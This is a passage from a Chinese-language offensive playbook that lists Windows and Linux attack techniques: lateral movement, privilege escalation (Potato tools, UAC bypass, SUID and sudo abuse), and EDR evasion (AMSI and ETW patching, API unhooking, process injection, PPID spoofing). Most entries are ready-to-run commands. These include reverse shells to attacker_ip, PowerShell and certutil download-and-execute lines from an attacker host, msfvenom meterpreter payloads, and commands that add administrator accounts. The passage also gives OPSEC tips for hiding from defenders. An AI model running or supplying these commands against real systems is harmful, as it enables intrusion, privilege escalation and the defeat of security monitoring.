**前置条件:** 计划任务权限;管理员权限 **攻击链:** **1. Impacket atexec** _[linux]_ _使用atexec执行命令_ ``` atexec.py domain/user:password@target "whoami" ``` **2. schtasks** _[windows]_ _创建远程计划任务_ ``` schtasks /create /s target /tn "evil" /tr "cmd /c whoami" /sc once /st 00:00 ``` --- ### WinRS横向移动 `lateral-winrs` 通过WinRS执行远程命令 子类:**WinRS** · tags: `winrs` `lateral` `windows` **前置条件:** WinRM启用;有效凭证 **攻击链:** **1. 执行命令** _[windows]_ _远程执行命令_ ``` winrs -r:target -u:user -p:password "whoami" ``` **2. 获取Shell** _[windows]_ _获取远程CMD_ ``` winrs -r:target -u:user -p:password "cmd" ``` --- ### Excel DCOM横向移动 `lateral-dcom-excel` 利用Excel DCOM进行横向移动 子类:**DCOM** · tags: `dcom` `excel` `lateral` **前置条件:** 目标安装Excel;DCOM权限 **攻击链:** **1. Excel DCOM激活** _[windows]_ _激活Excel DCOM对象_ ``` $com = [Type]::GetTypeFromProgID("Excel.Application","target.com") $obj = [System.Activator]::CreateInstance($com) $obj.Visible = $false ``` **2. 执行命令** _[windows]_ _通过Excel执行命令_ ``` $obj.Workbooks.Add() $obj.Cells.Item(1,1) = "=CMD|/C calc.exe!A" $obj.Run("calc.exe") ``` **3. Impacket DCOM** _[linux]_ _使用Impacket执行_ ``` python dcomexec.py -object Excel.Application domain/user:password@target.com ``` --- ### MMC DCOM横向移动 `lateral-dcom-mmc` 利用MMC DCOM进行横向移动 子类:**DCOM** · tags: `dcom` `mmc` `lateral` **前置条件:** 目标安装MMC;DCOM权限 **攻击链:** **1. MMC20.Application** _[windows]_ _使用MMC执行命令_ ``` $com = [Type]::GetTypeFromProgID("MMC20.Application","target.com") $obj = [System.Activator]::CreateInstance($com) $obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7") ``` **2. Impacket执行** _[linux]_ _使用Impacket_ ``` python dcomexec.py -object MMC20.Application domain/user:password@target.com ``` --- ### RDP Relay攻击 `rdp-relay` RDP中继攻击技术 子类:**RDP** · tags: `rdp` `relay` `lateral` **前置条件:** RDP服务可访问;存在NTLM认证 **攻击链:** **1. 设置中继** _[linux]_ _设置RDP中继服务器_ ``` 使用Impacket: python ntlmrelayx.py -tf targets.txt -smb2support 或使用rdp_relay.py ``` **2. 诱导连接** _诱导用户连接_ ``` 诱导用户连接到攻击者控制的RDP服务器: 1. 发送恶意RDP文件 2. 用户连接时中继到目标 ``` **3. PetitPotam组合** _[linux]_ _PetitPotam + RDP Relay_ ``` python petitpotam.py -d domain -u user -p pass attacker_ip target_ip 结合NTLM中继攻击ADCS ``` --- ## 权限提升 ### 令牌窃取与模拟 `privilege-token` 窃取和模拟Windows访问令牌 子类:**令牌操作** · tags: `token` `privilege` `impersonation` `windows` **前置条件:** 已获得目标机器权限;SeImpersonatePrivilege权限;Windows系统 **攻击链:** **1. 列出令牌** _[windows]_ _列出系统中所有可用令牌_ ``` mimikatz.exe "privilege::debug" "token::list" "exit" ``` **2. 窃取令牌** _[windows]_ _窃取指定用户的令牌_ ``` mimikatz.exe "privilege::debug" "token::elevate /domainuser:Administrator" "exit" ``` **3. JuicyPotato攻击** _[windows]_ _JuicyPotato提权(需要SeImpersonatePrivilege)_ ``` JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} ``` **4. PrintSpoofer** _[windows]_ _PrintSpoofer提权_ ``` PrintSpoofer.exe -i -c cmd ``` **5. GodPotato** _[windows]_ _GodPotato提权,支持更多Windows版本_ ``` GodPotato.exe -cmd "cmd /c whoami" ``` **EDR 绕过变体:** **1. RoguePotato** _RoguePotato,绕过更多限制_ ``` RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe" ``` **分析:** 令牌窃取成功后可以模拟高权限用户身份执行操作。 **OPSEC:** Potato系列工具利用DCOM机制;需要SeImpersonatePrivilege权限;不同Windows版本需要不同的CLSID --- ### Windows权限提升 `windows-privesc` Windows系统提权技术 子类:**Windows** · tags: `privesc` `windows` `privilege` **前置条件:** 普通用户权限;系统漏洞 **攻击链:** **1. 检查提权向量** _[windows]_ _检查当前权限_ ``` whoami /priv whoami /groups ``` **2. 使用WinPEAS** _[windows]_ _自动化提权检查_ ``` winpeas.exe ``` **3. 检查服务权限** _[windows]_ _检查可写服务_ ``` accesschk.exe -uwcqv "Everyone" * ``` **4. 检查未引用服务路径** _[windows]_ _查找未引用服务路径_ ``` wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ ``` --- ### Linux权限提升 `linux-privesc` Linux系统提权技术 子类:**Linux** · tags: `privesc` `linux` `privilege` **前置条件:** 普通用户权限;系统漏洞 **攻击链:** **1. 检查SUID** _[linux]_ _查找SUID文件_ ``` find / -perm -4000 -type f 2>/dev/null ``` **2. 检查Sudo** _[linux]_ _检查sudo权限_ ``` sudo -l ``` **3. 检查Cron** _[linux]_ _检查计划任务_ ``` cat /etc/crontab ls -la /etc/cron* ``` **4. 使用LinPEAS** _[linux]_ _自动化提权检查_ ``` linpeas.sh ``` --- ### UAC绕过 `uac-bypass` 绕过Windows用户账户控制 子类:**UAC** · tags: `uac` `bypass` `windows` **前置条件:** 管理员组成员;UAC启用 **攻击链:** **1. Fodhelper** _[windows]_ _通过fodhelper绕过UAC_ ``` reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f fodhelper.exe ``` **2. Eventvwr** _[windows]_ _通过eventvwr绕过UAC_ ``` reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe" /f eventvwr.exe ``` **3. 使用UACME** _[windows]_ _使用UACME工具_ ``` Akagi64.exe 23 cmd.exe ``` --- ### DLL劫持 `dll-hijack` 通过DLL劫持提权 子类:**DLL** · tags: `dll` `hijack` `privesc` **前置条件:** 可写目录;DLL搜索顺序 **攻击链:** **1. 查找DLL劫持** _[windows]_ _监控进程加载的DLL_ ``` 使用Procmon监控DLL加载 ``` **2. 创建恶意DLL** _[linux]_ _生成恶意DLL_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll ``` **3. 放置DLL** _[windows]_ _放置DLL到目标位置_ ``` copy evil.dll "C:\Program Files\VulnerableApp\missing.dll" ``` --- ### 服务提权 `service-exploit` 通过服务漏洞提权 子类:**服务** · tags: `service` `privesc` `windows` **前置条件:** 服务修改权限;可写服务路径 **攻击链:** **1. 检查服务权限** _[windows]_ _检查用户可修改的服务_ ``` accesschk.exe -uwcqv "Users" * ``` **2. 修改服务路径** _[windows]_ _修改服务执行路径_ ``` sc config VulnerableService binPath= "cmd /c whoami" ``` **3. 重启服务** _[windows]_ _重启服务执行命令_ ``` sc stop VulnerableService sc start VulnerableService ``` --- ### AlwaysInstallElevated提权 `always-install` 利用AlwaysInstallElevated提权 子类:**MSI** · tags: `msi` `alwaysinstall` `privesc` **前置条件:** AlwaysInstallElevated启用 **攻击链:** **1. 检查设置** _[windows]_ _检查是否启用_ ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` **2. 创建MSI** _[linux]_ _生成恶意MSI_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi ``` **3. 安装MSI** _[windows]_ _安装MSI执行代码_ ``` msiexec /quiet /qn /i evil.msi ``` --- ### Juicy Potato提权 `juicy-potato` 利用COM对象和SeImpersonatePrivilege提权 子类:**Potato** · tags: `juicy-potato` `com` `privesc` **前置条件:** SeImpersonatePrivilege;Windows < 2019 **攻击链:** **1. 检查权限** _[windows]_ _检查SeImpersonatePrivilege_ ``` whoami /priv | findstr SeImpersonate ``` **2. 执行JuicyPotato** _[windows]_ _使用JuicyPotato提权_ ``` JuicyPotato.exe -t * -p cmd.exe -l 1337 ``` --- ### PrintSpoofer提权 `printspoofer` 利用打印机服务提权 子类:**PrintSpoofer** · tags: `printspoofer` `privesc` `windows` **前置条件:** SeImpersonatePrivilege **攻击链:** **1. 执行PrintSpoofer** _[windows]_ _使用PrintSpoofer提权_ ``` PrintSpoofer.exe -i -c cmd ``` **2. 指定命令** _[windows]_ _执行指定命令_ ``` PrintSpoofer.exe -c "whoami > C:\out.txt" ``` --- ### GodPotato提权 `godpotato` GodPotato提权工具 子类:**GodPotato** · tags: `godpotato` `privesc` `windows` **前置条件:** SeImpersonatePrivilege **攻击链:** **1. 执行GodPotato** _[windows]_ _使用GodPotato提权_ ``` GodPotato.exe -cmd "cmd /c whoami" ``` **2. 反向Shell** _[windows]_ _执行反向Shell_ ``` GodPotato.exe -cmd "cmd /c powershell -e BASE64_CMD" ``` --- ### SUID提权 `suid-exploit` 利用SUID文件提权 子类:**SUID** · tags: `suid` `privesc` `linux` **前置条件:** 存在SUID文件;可利用程序 **攻击链:** **1. 查找SUID** _[linux]_ _查找所有SUID文件_ ``` find / -perm -4000 -type f 2>/dev/null ``` **2. 常见可利用程序** _[linux]_ _常见SUID利用方法_ ``` nmap --interactive vim -c ':!/bin/sh' find / -exec /bin/sh \; cp /bin/sh /tmp/sh; chmod +s /tmp/sh ``` **3. GTFOBins** _[linux]_ _查找程序利用方法_ ``` 参考GTFOBins网站查找可利用程序 ``` --- ### Sudo提权 `sudo-exploit` 利用Sudo配置提权 子类:**Sudo** · tags: `sudo` `privesc` `linux` **前置条件:** Sudo权限配置不当 **攻击链:** **1. 检查Sudo权限** _[linux]_ _列出可执行的sudo命令_ ``` sudo -l ``` **2. 常见利用** _[linux]_ _常见sudo利用方法_ ``` sudo vim -c ':!/bin/sh' sudo find / -exec /bin/sh \; sudo awk 'BEGIN {system("/bin/sh")}' ``` **3. CVE-2021-3156** _[linux]_ _Baron Samedit漏洞_ ``` 利用sudo堆溢出漏洞 ``` --- ### Cron提权 `cron-exploit` 利用Cron任务提权 子类:**Cron** · tags: `cron` `privesc` `linux` **前置条件:** 可写Cron脚本;通配符注入 **攻击链:** **1. 检查Cron任务** _[linux]_ _查看计划任务_ ``` cat /etc/crontab ls -la /etc/cron* ``` **2. 检查脚本权限** _[linux]_ _检查Cron脚本权限_ ``` ls -la /path/to/cron/script.sh ``` **3. 通配符注入** _[linux]_ _利用tar通配符注入_ ``` 在Cron目录创建: --checkpoint=1 --checkpoint-action=exec=sh shell.sh ``` --- ### 内核漏洞提权 `kernel-exploit` 利用内核漏洞提权 子类:**内核** · tags: `kernel` `privesc` `exploit` **前置条件:** 存在内核漏洞;可编译/执行exploit **攻击链:** **1. 检查内核版本** _[linux]_ _查看内核版本信息_ ``` uname -a cat /proc/version ``` **2. 搜索exploit** _[linux]_ _搜索内核exploit_ ``` searchsploit kernel VERSION ``` **3. 常见内核漏洞** _[linux]_ _常见内核提权漏洞_ ``` DirtyCow (CVE-2016-5195) DirtyPipe (CVE-2022-0847) PwnKit (CVE-2021-4034) ``` --- ### Potato系列提权攻击 `potato-attack` 利用Windows令牌模拟和NTLM中继机制从服务账户(SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege)提权到SYSTEM 子类:**Potato提权** · tags: `privilege-escalation` `potato` `token-impersonation` `ntlm-relay` `windows` **前置条件:** 拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限;常见于IIS AppPool、SQL Server、各类服务账户 **攻击链:** **1. 检查当前权限** _[windows]_ _首先确认当前用户是否拥有令牌模拟权限。IIS应用池账户、SQL Server服务账户、Windows服务账户通常默认拥有该权限_ ``` # 检查是否拥有Impersonate权限 whoami /priv # 重点关注以下权限: # SeImpersonatePrivilege - 模拟客户端令牌 # SeAssignPrimaryTokenPrivilege - 替换进程级令牌 # 确认当前用户身份 whoami /all echo %USERNAME% ``` **2. JuicyPotato (Windows Server 2016/2019)** _[windows]_ _JuicyPotato利用COM服务器和NTLM认证实现令牌模拟。通过创建本地COM服务器,欺骗SYSTEM账户向其认证,然后模拟该令牌执行命令_ ``` # 下载JuicyPotato certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\temp\jp.exe # 使用JuicyPotato提权执行命令 C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\proof.txt" -t * # 使用特定CLSID (不同系统需要不同CLSID) C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user testadmin Test@123 /add && net localgroup administrators testadmin /add" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # 反弹Shell C:\temp\jp.exe -l 1337 -p C:\temp\nc.exe -a "-e cmd.exe attacker_ip 4444" -t * ``` **3. PrintSpoofer (Windows 10/Server 2019+)** _[windows]_ _PrintSpoofer利用Windows打印服务的命名管道模拟功能。它创建一个命名管道并欺骗Print Spooler服务连接,从而获取SYSTEM令牌。适用于JuicyPotato无法使用的新版Windows_ ``` # PrintSpoofer - 利用打印服务命名管道 PrintSpoofer.exe -i -c cmd # 直接执行命令 PrintSpoofer.exe -c "cmd /c whoami > C:\temp\proof.txt" # 反弹Shell PrintSpoofer.exe -c "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" # 以SYSTEM身份启动PowerShell PrintSpoofer.exe -i -c powershell.exe ``` **4. Sweet Potato (多技术集成)** _[windows]_ _SweetPotato集成了PrintSpoofer、EfsPotato等多种技术,自动选择适合目标系统的攻击方式_ ``` # SweetPotato - 集成多种Potato技术 SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami" # 指定攻击方式 SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c net user testadmin Test@123 /add" ``` **5. GodPotato (全版本通杀)** _[windows]_ _GodPotato利用DCOM OXID解析器的漏洞,无需指定CLSID,兼容几乎所有Windows版本。是目前最通用的Potato变种_ ``` # GodPotato - 适用于Windows Server 2012-2022所有版本 GodPotato.exe -cmd "cmd /c whoami" # 执行反弹Shell GodPotato.exe -cmd "cmd /c C:\temp\nc.exe -e cmd.exe attacker_ip 4444" # 添加管理员 GodPotato.exe -cmd "net user testadmin Test@123 /add && net localgroup administrators testadmin /add" # 执行PowerShell GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')" ``` **6. RoguePotato (远程场景)** _[windows]_ _RoguePotato是JuicyPotato的改进版,通过远程OXID解析器实现NTLM认证中继。需要一台攻击机辅助完成中继_ ``` # 攻击机 - 启动socat重定向 socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999 # 目标机 - 执行RoguePotato RoguePotato.exe -r attacker_ip -e "cmd /c whoami > C:\temp\proof.txt" -l 9999 # 或使用netcat反弹 RoguePotato.exe -r attacker_ip -e "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999 ``` **7. Potato选型决策流程** _[windows]_ _根据目标系统版本选择合适的Potato变种工具_ ``` # === 决策流程 === # 1. whoami /priv 确认SeImpersonatePrivilege # 2. systeminfo 确认系统版本 # # Windows Server 2012-2016 => JuicyPotato # Windows Server 2019 (1809之前) => JuicyPotato (需正确CLSID) # Windows 10/Server 2019+ => PrintSpoofer 或 GodPotato # Windows Server 2022 => GodPotato # 所有版本 => SweetPotato (自动选择) # 需要远程中继 => RoguePotato # # 常用CLSID查询: https://ohpe.it/juicy-potato/CLSID/ ``` **EDR 绕过变体:** **1. 绕过EDR检测的Potato技巧** _[windows]_ _通过反射加载、重命名、使用较新工具等方式绕过EDR对Potato工具的检测_ ``` # 1. 重命名二进制文件 ren GodPotato.exe svcutil.exe # 2. 使用.NET反射加载(无文件落地) powershell -ep bypass -c "$bytes=[System.IO.File]::ReadAllBytes('C:\temp\gp.exe');[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,@(,@('-cmd','cmd /c whoami')))"; # 3. 使用SharpToken替代(较新工具,签名较少) SharpToken.exe execute SYSTEM "cmd /c whoami" ``` **分析:** Potato系列攻击利用Windows的令牌模拟机制——拥有SeImpersonatePrivilege的服务账户可以模拟向其认证的任何用户令牌。攻击者通过欺骗SYSTEM账户向本地COM服务器/命名管道认证,获取SYSTEM令牌后创建高权限进程。这是Web服务器(IIS)和数据库(SQL Server)提权最常见的方式之一。 **OPSEC:** 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式 --- ## 免杀与规避 ### PowerShell免杀 `evasion-powershell` PowerShell脚本免杀技术 子类:**PowerShell** · tags: `powershell` `evasion` `obfuscation` **前置条件:** 目标机器访问权限;Windows系统 **攻击链:** **1. 编码执行** _[windows]_ _Base64编码执行_ ``` powershell -enc BASE64_ENCODED_COMMAND ``` **2. 远程加载** _[windows]_ _远程加载脚本_ ``` IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") ``` **3. 混淆变量名** _[windows]_ _变量名混淆_ ``` 1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2" ``` **4. 无文件执行** _[windows]_ _隐藏窗口无配置文件执行_ ``` powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")" ``` **EDR 绕过变体:** **1. 降级执行** _使用PowerShell v2绕过日志_ ``` powershell -version 2 -c "command" ``` **分析:** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。 **OPSEC:** PowerShell日志可能记录命令;考虑禁用日志;使用混淆技术 --- ### AMSI绕过 `amsi-bypass` 绕过反恶意软件扫描接口 子类:**AMSI绕过** · tags: `amsi` `bypass` `evasion` **前置条件:** PowerShell环境;AMSI启用 **攻击链:** **1. 反射绕过** _[windows]_ _通过反射禁用AMSI_ ``` [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true) ``` **2. 内存修补** _[windows]_ _混淆版本绕过_ ``` $a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}} ``` **3. DLL劫持** _[windows]_ _通过DLL劫持绕过_ ``` 替换或劫持amsi.dll ``` **4. 使用工具** _[windows]_ _使用现成工具_ ``` Import-Module .\AmsiBypass.ps1 Invoke-AmsiBypass ``` --- ### ETW Patch绕过 `etw-patch` 禁用ETW监控 子类:**ETW** · tags: `etw` `bypass` `evasion` **前置条件:** 代码执行权限 **攻击链:** **1. PowerShell禁用ETW** _[windows]_ _PowerShell禁用ETW_ ``` [System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0) 或 [Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null $etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid()) $etw.SetEnabled(0) ``` **2. C#禁用ETW** _[windows]_ _C#禁用ETW_ ``` Assembly.Load("System.Diagnostics.Tracing") Type etwType = typeof(EventProvider) MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static) setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 }) ``` **3. 修补ntdll** _[windows]_ _修补EtwEventWrite_ ``` $ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll") $etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite") [Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect) [Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten) ``` --- ### API Unhooking `api-unhooking` 移除EDR的API Hook 子类:**Unhooking** · tags: `unhooking` `hook` `evasion` **前置条件:** 代码执行权限 **攻击链:** **1. 从磁盘还原** _[windows]_ _从磁盘读取干净DLL_ ``` $ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll") $proc = [System.Diagnostics.Process]::GetCurrentProcess() $base = $proc.MainModule.BaseAddress # 找到.text段并覆盖 ``` **2. 从KnownDlls还原** _[windows]_ _从KnownDlls还原_ ``` $section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll") $map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0) # 复制干净的代码段 ``` **3. Hell's Gate** _[windows]_ _Hell's Gate技术_ ``` 通过系统调用号直接调用: 1. 解析NTDLL获取系统调用号 2. 直接执行syscall 3. 绕过用户模式Hook ``` --- ### 进程注入 `process-injection` 将代码注入到其他进程 子类:**进程注入** · tags: `injection` `process` `evasion` **前置条件:** 代码执行权限 **攻击链:** **1. 经典DLL注入** _[windows]_ _DLL注入_ ``` $proc = Get-Process -Name notepad $handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id) $addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40) [Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0) [Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0) ``` **2. Process Hollowing** _[windows]_ _进程镂空_ ``` 1. CreateProcess(CREATE_SUSPENDED) 2. NtUnmapViewOfSection 3. VirtualAllocEx 4. WriteProcessMemory 5. ResumeThread ``` **3. APC注入** _[windows]_ _APC队列注入_ ``` $threadId = $proc.Threads[0].Id $queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC") [Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr) ``` --- ### AppLocker绕过 `applocker-bypass` 绕过AppLocker应用程序限制 子类:**AppLocker** · tags: `applocker` `bypass` `evasion` **前置条件:** AppLocker限制环境 **攻击链:** **1. 使用白名单路径** _[windows]_ _使用白名单可执行文件_ ``` C:\Windows\System32\spoolsv.exe C:\Windows\System32\svchost.exe C:\Program Files\Internet Explorer\ieexec.exe ``` **2. LOLBAS利用** _[windows]_ _LOLBAS技术_ ``` regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll mshta.exe http://attacker.com/shell.hta certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe ``` **3. InstallUtil** _[windows]_ _InstallUtil绕过_ ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe ``` **4. MSBuild** _[windows]_ _MSBuild执行代码_ ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj ``` --- ### BlockDLLs技术 `evasion-blockdlls` 阻止非微软DLL加载 子类:**BlockDLLs** · tags: `evasion` `blockdlls` `edr` **前置条件:** Windows系统;Cobalt Strike或其他工具 **攻击链:** **1. Cobalt Strike BlockDLLs** _[windows]_ _启用BlockDLLs_ ``` beacon> blockdlls start 阻止非微软签名的DLL加载 beacon> blockdlls stop 恢复DLL加载 ``` **2. 进程创建时启用** _[windows]_ _进程创建时启用_ ``` 使用CREATE_SUSPENDED标志创建进程 设置ProcessSignaturePolicy 阻止EDR DLL注入 ``` **3. C#实现** _[windows]_ _C#实现BlockDLLs_ ``` [DllImport("kernel32.dll")] static extern bool SetProcessMitigationPolicy(...); ProcessSignaturePolicy policy = new ProcessSignaturePolicy(); policy.SignatureLevel = 0x0F; SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size); ``` --- ### Shellcode加密 `evasion-shellcode-encrypt` 加密Shellcode绕过静态检测 子类:**Shellcode加密** · tags: `evasion` `shellcode` `encrypt` **前置条件:** Shellcode;加密工具 **攻击链:** **1. AES加密Shellcode** _AES加密_ ``` 使用工具加密: python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey 生成加密的Shellcode和解密代码 ``` **2. XOR加密** _XOR加密_ ``` 简单XOR加密: for i in range(len(shellcode)): encoded[i] = shellcode[i] ^ key[i % len(key)] 运行时解密执行 ``` **3. RC4加密** _RC4加密_ ``` 使用RC4加密Shellcode: from Crypto.Cipher import ARC4 cipher = ARC4.new(key) encrypted = cipher.encrypt(shellcode) 运行时使用相同密钥解密 ``` **4. 多态加密** _多态加密_ ``` 每次生成不同的解密代码: - 随机密钥 - 随机解密顺序 - 添加垃圾指令 - 控制流混淆 ``` --- ### 进程伪装 `evasion-process-masq` 伪装进程名称和路径 子类:**进程伪装** · tags: `evasion` `process` `masquerade` **前置条件:** Windows系统 **攻击链:** **1. PPID欺骗** _[windows]_ _PPID欺骗_ ``` Cobalt Strike: beacon> ppid 1234 设置父进程ID为合法进程 beacon> run [command] 新进程继承合法父进程 ``` **2. 进程参数欺骗** _[windows]_ _参数欺骗_ ``` CreateProcess参数: - lpApplicationName: 合法程序路径 - lpCommandLine: 包含恶意命令 - 显示为合法进程 ``` **3. 进程镂空** _[windows]_ _进程镂空_ ``` 1. 创建合法进程(挂起状态) 2. 写入恶意代码 3. 恢复线程执行 进程名显示为合法程序 ``` --- ### PPID欺骗 `evasion-ppid-spoof` 伪造父进程ID 子类:**PPID欺骗** · tags: `evasion` `ppid` `spoofing` **前置条件:** Windows系统;父进程句柄 **攻击链:** **1. PowerShell实现** _[windows]_ _PowerShell PPID欺骗_ ``` $parent = Get-Process -Name explorer $pi = New-Object System.Diagnostics.ProcessStartInfo $pi.FileName = "cmd.exe" $pi.ParentProcessId = $parent.Id [System.Diagnostics.Process]::Start($pi) ``` **2. C#实现** _[windows]_ _C#实现_ ``` [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性 ``` **3. Cobalt Strike** _[windows]_ _Cobalt Strike实现_ ``` beacon> ppid [explorer_pid] beacon> run notepad.exe 新进程父进程为explorer.exe ``` --- ### DLL侧加载 `evasion-dll-sideloading` 利用DLL搜索顺序加载恶意DLL 子类:**DLL侧加载** · tags: `evasion` `dll` `sideloading` **前置条件:** Windows系统;可执行文件 **攻击链:** **1. DLL劫持** _[windows]_ _DLL劫持原理_ ``` 1. 找到可执行文件加载的DLL 2. 将恶意DLL放在搜索路径优先位置 3. 执行程序时加载恶意DLL ``` **2. DLL转发** _[windows]_ _DLL转发_ ``` #pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction") 导出原始DLL的函数 同时执行恶意代码 ``` **3. 常见目标** _[windows]_ _常见目标DLL_ ``` 常见DLL劫持目标: - version.dll - dwmapi.dll - uxtheme.dll - cryptsp.dll - winmm.dll ``` --- ### 参数欺骗 `evasion-arg-spoofing` 欺骗进程参数显示 子类:**参数欺骗** · tags: `evasion` `argument` `spoofing` **前置条件:** Windows系统 **攻击链:** **1. 命令行欺骗** _[windows]_ _命令行欺骗_ ``` CreateProcess参数: lpApplicationName = "C:\Windows\System32\cmd.exe" lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami" 实际执行恶意命令 ``` **2. 环境变量欺骗** _[windows]_ _环境变量欺骗_ ``` 使用环境变量隐藏参数: set EVIL=malicious_command cmd /c %EVIL% 进程列表不显示实际命令 ``` **3. PEB修改** _[windows]_ _PEB修改_ ``` 修改PEB中的命令行: 1. 创建进程 2. 修改PEB中的CommandLine缓冲区 3. 进程管理器显示假参数 ``` --- ### 签名二进制利用 `evasion-signed-binary` 利用微软签名二进制执行代码 子类:**签名二进制** · tags: `evasion` `signed` `lolbin` **前置条件:** Windows系统 **攻击链:** **1. MSBuild** _[windows]_ _MSBuild执行_ ``` msbuild.exe malicious.csproj 执行嵌入的C#代码 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe ``` **2. InstallUtil** _[windows]_ _InstallUtil执行_ ``` InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll 执行.NET程序集 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ``` **3. Regsvcs/Regasm** _[windows]_ _Regsvcs/Regasm_ ``` regsvcs.exe malicious.dll regasm.exe malicious.dll 执行.NET程序集 ``` **4. Rundll32** _[windows]_ _Rundll32执行_ ``` rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" rundll32.exe shell32.dll,Control_RunDLL malicious.cpl ``` --- ### CLR注入 `evasion-clr-injection` CLR内存注入技术 子类:**CLR注入** · tags: `evasion` `clr` `injection` **前置条件:** Windows系统;.NET环境 **攻击链:** **1. CLR内存加载** _[windows]_ _CLR加载原理_ ``` 使用CLR接口加载.NET程序集: 1. 获取CLR运行时 2. 创建AppDomain 3. 加载程序集 4. 执行入口点 ``` **2. C#实现** _[windows]_ _C# CLR加载_ ``` var clr = new ClrModule(); clr.LoadAssembly(File.ReadAllBytes("malicious.exe")); clr.Execute("Main"); 从内存执行.NET程序 ``` **3. Cobalt Strike** _[windows]_ _Cobalt Strike实现_ ``` beacon> execute-assembly /path/to/tool.exe args 从内存执行.NET程序集 不落地执行 ``` --- ## 域渗透攻击 ### 域内权限提升路径 `domain-privilege-escalation` 利用ACL错误配置进行域权限提升 子类:**权限提升** · tags: `acl` `privilege` `active-directory` `escalation` **前置条件:** 域环境;普通域用户凭证;BloodHound分析结果 **攻击链:** **1. BloodHound分析** _查询到域管理员的最短路径_ ``` MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p ``` **2. 查找WriteDACL** _[windows]_ _查找WriteDACL权限_ ``` Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"} ``` 